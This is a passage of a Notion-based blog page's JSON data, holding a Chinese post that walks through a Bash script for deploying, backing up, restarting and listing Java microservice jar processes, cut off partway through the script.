],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":"","blockMap":{"block":{"38e3f997-dad9-46b8-99bb-d3042488821f":{"value":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","version":916,"type":"page","content":["30cd1b5d-9c76-4661-bb28-c4f7511b9c0c","c4f68ef2-bdba-42b2-829c-2443f5de269d","de75e7b7-97b7-4bba-acf9-c9a53bb46ac7","6dc7d247-2acb-4e17-979f-2751e11a4866","ec124e1d-f212-4b30-b019-6c0b3819fb0e","8513dc44-acdd-416c-9797-5a429313055a","b1f5373e-66e3-4e3b-8df6-0436ece58f30","8d59e1ac-758e-4ac1-802f-77a2dc4a345a","316c39c8-874f-4c26-8b20-c27d7df00e22","8e2a4be9-ddd0-43c8-90a1-73e5966dc430","a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77","e50a06de-71d5-42a5-84f9-72dba14b6249","3f65869a-70fa-433e-bfde-8dbdca631b9f","d4c687c2-c904-4234-92df-bf86f503e4a8","1c461f9f-ebc0-408d-bd62-cd2d593df5ff","263f23a4-ae61-4c82-b821-dccdf0fa6e4c","16904fbf-692f-4688-bdc6-d6da5063475e","547f54ed-1238-4e1e-89ef-996809620f35","77b75914-f02a-4393-bd36-453671da3504","f4992d9c-05d3-458f-8626-7f69df901053","6d929a34-3041-4f19-acdb-c1db601c49dc","f5002c9f-3330-4c74-91e4-2bd2be6cc9df","714774d8-cd7a-426f-97f5-f1a0a1019e8b","d23b738a-4977-45dd-9e87-4ac4299f8a2c","dd5cbc1b-7940-4623-b4e1-372257a167fd","015bbc44-0520-411b-8c93-e8828b0241e4","8d850969-c7f1-4278-9189-7b8a880d6922","85c59e46-5afc-44f7-8d92-24dfdb79e418","6fee2eb8-47f1-45a8-9e10-d3cbd35e1936","2c676e25-8325-4e28-a93c-2a14c18c16f9","aa4dcc52-95a6-47a4-88e5-b4275689bcda","7b911799-39b3-4e6e-8aa4-a18618a47f88","dae3dcc6-9abb-45e7-8cd0-96e67fb23514","d044fa90-43bf-464b-b804-b1952f91548b","f4e7ebc8-a8bf-4550-a1e4-6811a8f052da","12211a14-1feb-449b-beab-abea67e70635","4fa90686-3a74-46ec-a088-962d442891e0","af722408-abb3-480e-9546-752a8866c509","0cdbdf1b-35ba-4404-9235-3d8625c1eac0","23f697fb-ec30-4920-becf-b2569bb235d0","8566becf-9f13-4e17-800f-8c73a9d69d10","6fc3b1c1-279c-4da3-9b48-a286c69a4620","ebb9c14c-4573-4673-9f41-923621db6503","5f09bd20-4152-4fbf-9234-6358f7ca9002","1af18956-4491-4646-8812-8c26899d094c","39cf1bf0-7c68-42aa-8ada-11e74af9da6e","3b508db8-425b-4c77-83d0-9eba50c4ef24","dffd5b0d-8df5-4399-96a3-63793dbd16d0","70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1706076384676,"last_edited_time":1706080726139,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"30cd1b5d-9c76-4661-bb28-c4f7511b9c0c":{"value":{"id":"30cd1b5d-9c76-4661-bb28-c4f7511b9c0c","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706076386587,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"c4f68ef2-bdba-42b2-829c-2443f5de269d":{"value":{"id":"c4f68ef2-bdba-42b2-829c-2443f5de269d","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706076386586,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"de75e7b7-97b7-4bba-acf9-c9a53bb46ac7":{"value":{"id":"de75e7b7-97b7-4bba-acf9-c9a53bb46ac7","type":"callout","properties":{"title":[["微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。\n固定流程:deploy bakup xx.jar —> deploy restart xx.jar"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706078783448,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"6dc7d247-2acb-4e17-979f-2751e11a4866":{"value":{"id":"6dc7d247-2acb-4e17-979f-2751e11a4866","type":"header","properties":{"title":[["命令编写步骤"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706078594772,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"ec124e1d-f212-4b30-b019-6c0b3819fb0e":{"value":{"id":"ec124e1d-f212-4b30-b019-6c0b3819fb0e","type":"quote","properties":{"title":[["我会把每一步编写的用途都罗列出来,不想看的可以直接滑到最后复制整个脚本"]]},"created_time":1706078795259,"last_edited_time":1706078854774,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8513dc44-acdd-416c-9797-5a429313055a":{"value":{"id":"8513dc44-acdd-416c-9797-5a429313055a","type":"sub_header","properties":{"title":[["配置环境变量"]]},"created_time":1706078561683,"last_edited_time":1706078585444,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"b1f5373e-66e3-4e3b-8df6-0436ece58f30":{"value":{"id":"b1f5373e-66e3-4e3b-8df6-0436ece58f30","type":"quote","properties":{"title":[["这里配置基础的java运行环境变量,包括可以把JVM运行参数也放在这里,到我项目里面的JVM参数是变动的,下面会提到。并且声明脚本要用到变量。"]]},"created_time":1706078608572,"last_edited_time":1706079009574,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8d59e1ac-758e-4ac1-802f-77a2dc4a345a":{"value":{"id":"8d59e1ac-758e-4ac1-802f-77a2dc4a345a","type":"code","properties":{"title":[["#-----------------------------环境变量START----------------------------\nexport SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800\nexport SW_AGENT_SPAN_LIMIT=2000\nexport JAVA_AGENT=-javaagent:/usr/skywalking-agent/skywalking-agent.jar\nexport ENV=test\n#-----------------------------环境变量END----------------------------\n\n#-----------------------------全局变量START----------------------------\nAPP_START_TIMEOUT=180 #等待应用启动的时间\nPIDS=()               #定义全局的PIDS数组\nWORK_DIR=(            #当前程序的工作目录\n          /Users/y/IdeaProjects/A-script/sh\n          /home/bothsvage\n          /root/prod\n          )\nCHECK_LOGS=(          #日志检查关键字\n  \"开始订阅滚动日志\"\n  \"服务启动成功\"\n  \"Tomcat started on port(s): 8848\"\n)\nSCRIPT_NAME=$0       # 脚本名称\nACTION=$1            # 脚本接受的第一个参数\nshift                # 将参数列表向左移动一个位置,去除第一个参数\njar=\"$@\"             # 使用命令行参数作为jar文件名\n#-----------------------------全局变量END----------------------------"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706078585992,"last_edited_time":1706079497825,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"316c39c8-874f-4c26-8b20-c27d7df00e22":{"value":{"id":"316c39c8-874f-4c26-8b20-c27d7df00e22","type":"sub_header","properties":{"title":[["主程序"]]},"created_time":1706078558353,"last_edited_time":1706078727210,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8e2a4be9-ddd0-43c8-90a1-73e5966dc430":{"value":{"id":"8e2a4be9-ddd0-43c8-90a1-73e5966dc430","type":"quote","properties":{"title":[["首先定义程序入口,运行welcome欢迎函数,并且运行检查当前工作目录函数,因为这个脚本会在配置到环境变量,防止程序运行报错。"]]},"created_time":1706078746157,"last_edited_time":1706079461207,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77":{"value":{"id":"a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77","type":"code","properties":{"title":[["\n\n#启动函数包装\nstart() {\n  start_service $jar -q\n  health_check $jar\n  list_service $jar\n}\n#停止函数包装\nstop() {\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      stop_service $pid\n    fi\n  done\n}\n\n\n#-----------------------------程序入口----------------------------\nwelcome\ncheck_directory\ncase \"$ACTION\" in\nstart)\n  check_input $jar\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      echo \"存在应用在运行:请使用restart命令\"\n      end\n      exit 0\n    fi\n  done\n  start\n  ;;\nstop)\n  check_input $jar\n  stop\n  ;;\nrestart)\n  check_input $jar\n  stop\n  start\n  ;;\nlist)\n  check_input $jar\n  list_service $jar\n  ;;\nbackup)\n  check_input $jar\n  backup $jar\n  ;;\n*)\n  usage\n  ;;\nesac\n\nend"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706078728197,"last_edited_time":1706079475022,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"e50a06de-71d5-42a5-84f9-72dba14b6249":{"value":{"id":"e50a06de-71d5-42a5-84f9-72dba14b6249","type":"sub_header","properties":{"title":[["辅助函数"]]},"created_time":1706078558353,"last_edited_time":1706079189949,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"3f65869a-70fa-433e-bfde-8dbdca631b9f":{"value":{"id":"3f65869a-70fa-433e-bfde-8dbdca631b9f","type":"quote","properties":{"title":[["提示函数,检查输入参数,welcome,check_directory等,都比较简单"]]},"created_time":1706079190557,"last_edited_time":1706079231631,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"d4c687c2-c904-4234-92df-bf86f503e4a8":{"value":{"id":"d4c687c2-c904-4234-92df-bf86f503e4a8","type":"code","properties":{"title":[["#使用说明\nusage() {\n  echo \"脚本的用法如下:$SCRIPT_NAME {start|stop|restart|list|backup} {service_name.jar}\"\n  end\n  exit 2\n}\n# 检查输入参数\ncheck_input() {\n    jar=$1\n\n    # list 操作接受 *.jar 作为参数\n    if [[ $ACTION == \"list\" && $jar == *.jar ]]; then\n        return 0\n    fi\n\n    # start, stop 和 restart 操作必须接受一个存在于当前目录的 .jar 文件作为参数\n    if [[ $ACTION != \"list\" && ($jar != *.jar || ! -f $jar) ]]; then\n        echo \"start,stop,restart,backup 操作必须接受一个存在于当前目录的 .jar 文件作为参数\"\n        end\n        exit 0\n    fi\n}\n#欢迎脚本答应\nwelcome(){\n  echo '''\n---------------------------脚本正在启动-------------------------------\n\n        ████████   ██████   ███   ███  ███   ███  ██\n\n  '''\n  echo \"                   当前脚本环境:$ENV\n\n  \"\n}\n#结束脚本打印\nend(){\n  echo '''\n----------------------------脚本已经完成-------------------------------\n  '''\n}\n#检查当前脚本运行目录\ncheck_directory() {\n  # 获取脚本的运行目录\n  script_dir=$(pwd \"$0\")\n  echo \"此脚本工作目录:$script_dir\"\n\n  # 标识,初始为 false\n  valid_dir=false\n\n  # 检查脚本的运行目录是否在 WORK_DIR 数组的目录之一\n  for dir in \"${WORK_DIR[@]}\"; do\n    if [[ $script_dir == $dir* ]]; then\n      valid_dir=true\n      break\n    fi\n  done\n\n  # 如果标识仍为 false,打印一条消息并退出脚本\n  if ! $valid_dir; then\n    echo \"不满足以下目录:${WORK_DIR[*]}. \"\n    end\n    exit 0\n  fi\n}"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706079064487,"last_edited_time":1706079147252,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"1c461f9f-ebc0-408d-bd62-cd2d593df5ff":{"value":{"id":"1c461f9f-ebc0-408d-bd62-cd2d593df5ff","type":"sub_header","properties":{"title":[["动态设置JVM参数"]]},"created_time":1706078558353,"last_edited_time":1706079178393,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"263f23a4-ae61-4c82-b821-dccdf0fa6e4c":{"value":{"id":"263f23a4-ae61-4c82-b821-dccdf0fa6e4c","type":"quote","properties":{"title":[["根据env环境变量和jar包的名称动态设置JVM的堆内存"]]},"created_time":1706079238216,"last_edited_time":1706079271554,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"16904fbf-692f-4688-bdc6-d6da5063475e":{"value":{"id":"16904fbf-692f-4688-bdc6-d6da5063475e","type":"code","properties":{"title":[["# 设置 JVM_OPTS\nset_jvm_opts() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    #生产环境\n    if [[ $ENV == \"prod\" ]]; then\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms4096m -Xmx6144m\"\n      else\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      fi\n    #非生产环境\n    else\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      else\n          export JVM_OPTS=\"-Xms512m -Xmx1024m\"\n      fi\n    fi\n\n}"]],"language":[["Bash"]]},"created_time":1706079184196,"last_edited_time":1706079184490,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"547f54ed-1238-4e1e-89ef-996809620f35":{"value":{"id":"547f54ed-1238-4e1e-89ef-996809620f35","type":"sub_header","properties":{"title":[["根据jar包获取正在运行的pid列表"]]},"created_time":1706078558353,"last_edited_time":1706079306876,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"77b75914-f02a-4393-bd36-453671da3504":{"value":{"id":"77b75914-f02a-4393-bd36-453671da3504","type":"quote","properties":{"title":[["就是ps aux | grep 服务名来获取的正在运行的pid,然后通过awk来输出具体的某个pid"]]},"created_time":1706079519891,"last_edited_time":1706079586592,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f4992d9c-05d3-458f-8626-7f69df901053":{"value":{"id":"f4992d9c-05d3-458f-8626-7f69df901053","type":"code","properties":{"title":[["#根据jar包获取正在运行的pid列表\n#可能是多个有xxx.jar的pid,因为存在启动不成功的情况\n#此pid列表是所有正在运行的jar包的pid列表,去除grep --color=auto \nlist_service() {\n  echo \"获取程序运行中:$jar\"\n  # 使用ps和grep获取包含jar包名的进程\n  local lines=$(ps aux | grep $1 | grep java | grep -v grep | awk '{printf $2 \" \"; for (i=11; i<=NF; i++) printf $i \" \"; print \"\"}')\n\n  # 逐行读取lines变量的值\n  while IFS= read -r line; do\n    # 使用空格将行切割为数组\n    array=($line)\n\n    # 第一个元素是PID\n    pid=${array[0]}\n\n    # 剩下的元素是命令行参数\n    cmdline=${line#\"$pid \"}  # 使用参数扩展移除PID\n    cmdline_cut=$(echo $cmdline | cut -c 1-150)  # 保留前50个字符\n\n   # 只在找到进程时打印信息\n    if [ ! -z \"$pid\" ]; then\n      printf \"找到%5s 程序: %-50s...\\n\" \"$pid\" \"$cmdline_cut\"  # 格式化输出\n      PIDS+=(\"$pid\")\n    fi\n  done <<< \"$lines\"\n\n  # 如果没有找到任何服务,打印提示信息\n  if [ -z \"$lines\" ]; then\n    echo \"没有进程包含有:$1\"\n  